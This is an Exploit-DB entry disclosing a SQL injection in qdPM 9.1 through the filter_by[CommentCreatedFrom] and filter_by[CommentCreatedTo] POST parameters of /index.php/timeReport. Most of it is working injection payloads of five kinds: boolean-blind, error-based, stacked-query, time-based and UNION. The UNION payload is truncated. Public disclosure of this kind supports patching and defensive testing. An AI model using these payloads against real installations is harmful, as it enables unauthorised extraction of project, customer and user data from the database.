qdPM 9.1 - 'filter_by' SQL Injection

EDB-ID:
45767

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-02

Vulnerable App:

```
# Exploit Title: qdPM 9.1 - 'filter_by' SQL Injection
# Date: 2018-11-01
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software description:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
# using a Ticket System that is integrated into Task management.

# Vulnerabilities:
# The application accommodates 3 different vulnerabilities.
# SQL Injection - Cross-Site Scripting and Denial of Service.

# POC 1 : SQL Inection :
# An attacker can gain access to all the database information using
filter_by[CommentCreatedFrom]
# and filter_by[5BCommentCreatedTo] parameters.

# Parameter: filter_by[CommentCreatedFrom] and
filter_by[5BCommentCreatedTo](POST)
# Request URL: /index.php/timeReport

#    Type: boolean-based blind
#    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30") RLIKE (SELECT (CASE WHEN
(7166=7166) THEN #0x323031382d31302d3330 ELSE 0x28 END)) AND
("votm"="votm&filter_by[CommentCreatedTo]=2018-10-17

#    Type: error-based
#    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30") AND
EXTRACTVALUE(2944,CONCAT(0x5c,0x716a766b71,(SELECT #
(ELT(2944=2944,1))),0x7178717871)) AND
("ilfY"="ilfY&filter_by[CommentCreatedTo]=2018-10-17

#    Type: stacked queries
#    Title: MySQL > 5.0.11 stacked queries (comment)
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30");SELECT
SLEEP(5)#&filter_by[CommentCreatedTo]=2018-10-17

#    Type: AND/OR time-based blind
#    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
#    Payload:

filter_by[CommentCreatedFrom]=2018-10-30") AND
2173=BENCHMARK(5000000,MD5(0x7652785a)) AND #
("PRig"="PRig&filter_by[CommentCreatedTo]=2018-10-17

#    Type: UNION query
#    Title: Generic UNION query (NULL) - 40 columns
#    Payload:
```

```
filter_by[CommentCreatedFrom]=2018-10-30") UNION ALL SELECT
#33,33,33,33,33,33,33,33,33,33,CONCAT(0x716a766b71,0x474b474f65666b4373654667
- #pqmn&filter_by[CommentCreatedTo]=2018-10-17
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions